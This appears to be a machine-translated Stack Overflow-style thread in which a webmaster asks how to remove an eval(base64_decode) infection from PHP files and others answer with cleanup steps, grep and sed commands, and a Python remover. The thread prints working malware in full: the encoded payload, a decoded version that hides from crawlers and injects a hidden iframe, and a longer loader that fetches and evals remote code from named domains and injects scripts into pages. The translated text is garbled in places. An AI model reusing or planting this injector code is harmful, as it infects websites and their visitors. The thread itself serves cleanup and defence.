如何摆脱像PHP病毒文件的eval-base64_decode?

我的网站(非常大的社区网站)最近感染了病毒。 每个index.php文件都被改变了,所以这些文件的开头php标签被改成了下面这行:

 <?php eval(base64_decode('ZXJyb+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=')); 

当我解码这个,它产生了下面的PHP代码:

  <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; } 

我已经尝试了几件事来清理病毒,甚至从备份中恢复,并在几分钟或几小时后重新感染文件。 那么你能帮我吗?

你对这个病毒了解多less?

是否有一个已知的安全漏洞,用来安装和传播?

上面的php代码实际上做了什么?

它embedded在iframe中的页面是做什么的?

当然更重要的是: 我能做些什么来摆脱它?

请大家帮忙,我们几乎已经用完了想法,希望

UPDATE1更多的细节:一个奇怪的是:当我们第一次检查受感染的文件。 他们改变了,但他们修改的时间在ftp程序显示最后访问是几天,几个月甚至几年前在某些情况下! 这怎么可能? 它让我疯狂!

更新2我认为这个问题是在用户在Wordpress安装中安装插件后发起的。 从备份恢复和完全删除WordPress的文件夹和相关的数据库后,问题似乎没有了。 我们目前已经订阅了一个安全服务,他们正在调查这个问题,以确保黑客已经离开了。 感谢所有回复的人。

恢复和消毒您的网站的步骤(只要您有一个已知的良好的备份)。

1)closures网站

在进行补救工作之前,您需要基本closures您的网站。 这将防止访问者获得恶意代码,看到错误信息等。只是良好的做法。

您应该能够通过将以下内容放入webroot中的.htaccess文件中来完成此操作。 (用您自己的IP地址replace“!!您的IP地址在这里!!” – 如果您不知道您的IP地址,请参阅http://icanhazip.com )。

 order deny,allow deny from all allow from !!Your IP Address Here!! 

2)从服务器下载所有文件的副本

将所有内容从您的好备份下载到单独的文件夹中。 这可能需要一段时间(取决于您的网站的大小,连接速度等)。

3)下载并安装文件/文件夹比较实用程序

在Windows机器上,你可以使用WinMerge – http://winmerge.org/ – 它是免费的,function非常强大。 在MacOS机器上,查看Alternative.to可能的替代列表

4)运行文件/文件夹比较实用程序

你应该得到一些不同的结果:

  • 文件是相同的 – 当前文件与您的备份相同,因此不受影响。
  • 仅在左侧/右侧文件 – 该文件或者只存在于备份中(可能已经从服务器上删除),或者只存在于服务器上(可能已经被黑客注入/创build)。
  • 文件不同 – 服务器上的文件与备份中的文件不一样,所以它可能已经被你修改(为服务器configuration)或黑客(注入代码)。

5)解决差异

(又名“为什么我们不能相处?”)

对于相同的文件 ,不需要进一步的操作。 对于只存在于一面的文件,请查看文件并确定它们是否合法(例如,用户上传的文件应该在那里,您可能已经添加了额外的文件等)。对于不同的文件,查看文件文件差异实用程序甚至可能会显示哪些行已被添加/修改/删除),并查看服务器版本是否有效。 覆盖(包含备份版本)任何包含恶意代码的文件。

6)检查您的安全预防措施

无论是像更改FTP / cPanel密码一样简单,还是查看对外部/非受控资源的使用(正如您所提到的,您正在执行大量的fgets,fopens等等),您可能需要检查传递给它们的参数,是使脚本拉入恶意代码的一种方式)等等。

7)检查网站作品

在被感染的文件得到纠正并删除恶意文件之后,只要有机会成为唯一一个查看网站的人,以确保一切仍然按预期运行。

8)打开门

反转步骤1中.htaccess文件中所做的更改。仔细观察。 关注您的访问者和错误日志,看看是否有人试图触发已删除的恶意文件等。

9)考虑自动检测方法

有几个解决scheme,允许您在主机上执行自动检查(使用CRON作业),它将检测并详细说明发生的任何更改。 有些有点冗长(你会得到一个电子邮件,每个文件都改变了),但你应该能够适应你的需求:

  • Tripwire – 一个PHP脚本来检测和报告新的,删除或修改的文件
  • 用于监视文件更改的Shell脚本
  • 如何检测您的networking服务器是否被黑客入侵并获得警报

10)有预定的备份,并保留一个好的支架

确保在您的网站上执行了计划的备份,保留其中的一些备份,以便您可以根据需要采取不同的步骤。 例如,如果您每周执行一次备份,则可能需要保留以下内容:

  • 4次每周备份
  • 4 x每月备份(您可以保留“每周备份”之一,也许是每月的第一周)作为“每月备份”

如果有人用比代码注入攻击更具破坏性的方式攻击你的站点,这些将永远让生活更轻松。

哦,并且确保你也备份你的数据库 – 有很多基于CMS的站点,这些文件很好,但是如果你丢失/损坏了它们后面的数据库,那么备份基本上是没用的。

首先,closures你的网站,直到你能弄清楚他是怎么进来的以及如何解决这个问题的。 这看起来像是向您的客户提供恶意软件。

接下来,通过您的PHP文件searchfgets,fopen,fputs,eval或者系统。 我推荐记事本++,因为它的“在文件中查找”function。 另外,请确保这是唯一的PHP被修改的地方。 你有一个离线副本比较?

我遭受了同样的黑客工作。 我也能够解密代码,而当我有不同的PHP代码,我开始通过循环通过每个PHP文件在网站中删除注入的PHP文本,并删除eval调用。 我仍然在调查我是如何开始的,但从这个网站解密后,这里是我的样子:

要解码在每个PHP文件encryption的PHP脚本使用此: http : //www.opinionatedgeek.com/dotnet/tools/base64decode/

并使用这个家伙格式化的结果: http : //beta.phpformatter.com/

清理你需要从每个php文件的顶部删除“eval”行,并从网站的基础文件夹中删除.log文件夹。

我发现了一个python脚本,我稍微修改,以删除在php文件中的木马,所以我会张贴在这里供他人使用:从线程的代码源: 在目录树中分层次地replace所有文件中的另一个字符的所有实例

 import os import re import sys def try_to_replace(fname): if replace_extensions: return fname.lower().endswith(".php") return True def file_replace(fname, pat, s_after): # first, see if the pattern is even in the file. with open(fname) as f: if not any(re.search(pat, line) for line in f): return # pattern does not occur in file so we are done. # pattern is in the file, so perform replace operation. with open(fname) as f: out_fname = fname + ".tmp" out = open(out_fname, "w") for line in f: out.write(re.sub(pat, s_after, line)) out.close() os.rename(out_fname, fname) def mass_replace(dir_name, s_before, s_after): pat = re.compile(s_before) for dirpath, dirnames, filenames in os.walk(dir_name): for fname in filenames: if try_to_replace(fname): print "cleaning: " + fname fullname = os.path.join(dirpath, fname) file_replace(fullname, pat, s_after) if len(sys.argv) != 2: u = "Usage: rescue.py <dir_name>\n" sys.stderr.write(u) sys.exit(1) mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "") 

使用types

pythonrescue.py根文件夹

这就是恶意脚本试图做的事情:

 <?php if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) { $_SERVER['mr_no'] = 1; if (!function_exists('mrobh')) { function get_tds_777($url) { $content = ""; $content = @trycurl_777($url); if ($content !== false) return $content; $content = @tryfile_777($url); if ($content !== false) return $content; $content = @tryfopen_777($url); if ($content !== false) return $content; $content = @tryfsockopen_777($url); if ($content !== false) return $content; $content = @trysocket_777($url); if ($content !== false) return $content; return ''; } function trycurl_777($url) { if (function_exists('curl_init') === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_HEADER, 0); $result = curl_exec($ch); curl_close($ch); if ($result == "") return false; return $result; } function tryfile_777($url) { if (function_exists('file') === false) return false; $inc = @file($url); $buf = @implode('', $inc); if ($buf == "") return false; return $buf; } function tryfopen_777($url) { if (function_exists('fopen') === false) return false; $buf = ''; $f = @fopen($url, 'r'); if ($f) { while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); } else return false; if ($buf == "") return false; return $buf; } function tryfsockopen_777($url) { if (function_exists('fsockopen') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $f = @fsockopen($host, 80, $errno, $errstr, 30); if (!$f) return false; $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; fwrite($f, $request); $buf = ''; while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function trysocket_777($url) { if (function_exists('socket_create') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; socket_write($sock, $request); $buf = ''; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function update_tds_file_777($tdsfile) { $actual1 = $_SERVER['s_a1']; $actual2 = $_SERVER['s_a2']; $val = get_tds_777($actual1); if ($val == "") $val = get_tds_777($actual2); $f = @fopen($tdsfile, "w"); if ($f) { @fwrite($f, $val); @fclose($f); } if (strstr($val, "

CODE

")) { list($val, $code) = explode("

CODE

", $val); eval(base64_decode($code)); } return $val; } function get_actual_tds_777() { $defaultdomain = $_SERVER['s_d1']; $dir = $_SERVER['s_p1']; $tdsfile = $dir . "log1.txt"; if (@file_exists($tdsfile)) { $mtime = @filemtime($tdsfile); $ctime = time() – $mtime; if ($ctime > $_SERVER['s_t1']) { $content = update_tds_file_777($tdsfile); } else { $content = @file_get_contents($tdsfile); } } else { $content = update_tds_file_777($tdsfile); } $tds = @explode("\n", $content); $c = @count($tds) + 0; $url = $defaultdomain; if ($c > 1) { $url = trim($tds[mt_rand(0, $c – 2)]); } return $url; } function is_mac_777($ua) { $mac = 0; if (stristr($ua, "mac") || stristr($ua, "safari")) if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone"))) $mac = 1; return $mac; } function is_msie_777($ua) { $msie = 0; if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) $msie = 1; return $msie; } function setup_globals_777() { $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; $mz = "/tmp/"; if (!@is_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } else { $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; if (!@is_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } } else { $mz = $rz; } } } else { $mz = $rz; } $bot = 0; $ua = $_SERVER['HTTP_USER_AGENT']; if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) $bot = 1; if (stristr($ua, "bingbot") || stristr($ua, "google")) $bot = 1; $msie = 0; if (is_msie_777($ua)) $msie = 1; $mac = 0; if (is_mac_777($ua)) $mac = 1; if (($msie == 0) && ($mac == 0)) $bot = 1; global $_SERVER; $_SERVER['s_p1'] = $mz; $_SERVER['s_b1'] = $bot; $_SERVER['s_t1'] = 1200; $_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/&apos;); $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]); $_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php&apos😉 . $d; $_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php&apos😉 . $d; $_SERVER['s_script'] = "nl.php?p=d"; } setup_globals_777(); if (!function_exists('gml_777')) { function gml_777() { $r_string_777 = ''; if ($_SERVER['s_b1'] == 0) $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>'; return $r_string_777; } } if (!function_exists('gzdecodeit')) { function gzdecodeit($decode) { $t = @ord(@substr($decode, 3, 1)); $start = 10; $v = 0; if ($t & 4) { $str = @unpack('v', substr($decode, 10, 2)); $str = $str[1]; $start += 2 + $str; } if ($t & 8) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 16) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 2) { $start += 2; } $ret = @gzinflate(@substr($decode, $start)); if ($ret === FALSE) { $ret = $decode; } return $ret; } } function mrobh($content) { @Header('Content-Encoding: none'); $decoded_content = gzdecodeit($content); if (preg_match('/\<\/body/si', $decoded_content)) { return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content); } else { return $decoded_content . gml_777(); } } ob_start('mrobh'); } } ?>

要摆脱这些恶意的PHP你只需要删除它们。 如果文件被感染,您只需要删除看起来可疑的部分。

find这些文件总是很棘手,因为通常你的web根目录中有多个文件。

通常情况下,如果您看到某种模糊处理,则会发出红色警报。

大多数恶意软件都是基于它们使用的常用function很容易find的,其中包括:

  • base64_decode
  • lzw_decompress
  • eval
  • 等等

通过使用编码格式,他们正在压缩他们的大小,使他们更难以由非经验的用户解码。

这里有几个grep命令可能会发现最常见的恶意软件PHP代码:

 grep -R return.*base64_decode . grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' . 

您可以在服务器上运行这些命令,或者将网站同步到本地计算机(通过FTP,例如ncftpget -R )。

或者使用专门为查找这种恶意文件而devise的扫描工具,请参阅: PHP安全扫描程序 。

为了教育目的,请查找以下PHP攻击脚本的集合,这些脚本是在调查kenorb / php-exploit-scripts GitHub (受@Mattias原始集合影响)中可用的被黑客入侵的服务器时发现的。 这会让你了解这些PHP可疑文件是怎么样的,所以你可以学习如何在你的服务器上find更多的文件。

另请参阅: 这个恶意的PHP脚本是做什么的?

  1. 确保任何stream行的Web应用程序,如Wordpress或vBulletin更新。 旧版本的许多漏洞可能会导致您的服务器受到攻击,如果未更新,可能会再次发生。 没有使用,直到完成。

  2. 如果文件不断被replace,那么在后台运行一个rootkit或特洛伊木马程序。 该文件不能复制自己。 你将不得不首先摆脱rootkit。 尝试rkhunter , chkrootkit和LMD 。 将ps aux的输出与安全服务器进行比较,并检查/var/tmp/tmp是否存在可疑文件。 您可能需要重新安装操作系统。

  3. 确保pipe理服务器的所有工作站都是最新的,清洁的。 不要通过不安全的无线连接进行连接,也不要使用像FTP那样的纯文本authentication(使用SFTP代替)。 只能使用httpslogin到控制面板。

  4. 为防止这种情况再次发生,运行csf或类似的防火墙,每日对LMD进行扫描,并保持服务器上所有应用程序的最新安全补丁的最新状态。

我所托pipe的网站/网站遭到了多次类似的攻击。

我提出我所做的解决这个问题。 我不假装这是最好的/最简单的方法,但它的工作,从那以后,我可以主动保持球在我的领域。

  1. 尽快解决这个问题我创build了一个非常简单的PHP脚本(当铁是热的,所以也许它不是最优化的代码,但它解决了这个问题很快): http : //www.ecommy.com/web-security /清洁的PHP文件-从-EVAL-感染

  2. 确保你知道什么时候这样的事情再次击中。 黑客使用所有types的SQL注入你的安装的外部模块之一,强迫你的pipe理面板字典攻击或非常熟悉的密码模式,如1qaz … QWERTY ….等等我提出的脚本这里: http : //www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. cron条目是这样的:0 2 * * 5 / root / scripts / base64eval_scan> / dev / null 2>&1&

我更新了页面,以便有人可以直接下载文件。 希望它会对你有用,因为它对我来说:)

假设这是一个基于Linux的服务器,并且你有SSH访问,你可以运行这个来删除有问题的代码:

 find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@' 

这涵盖了所有已知的base64实现,并且无论base64文本是由单引号还是双引号括起来都可以工作

编辑:现在也适用于内部的空白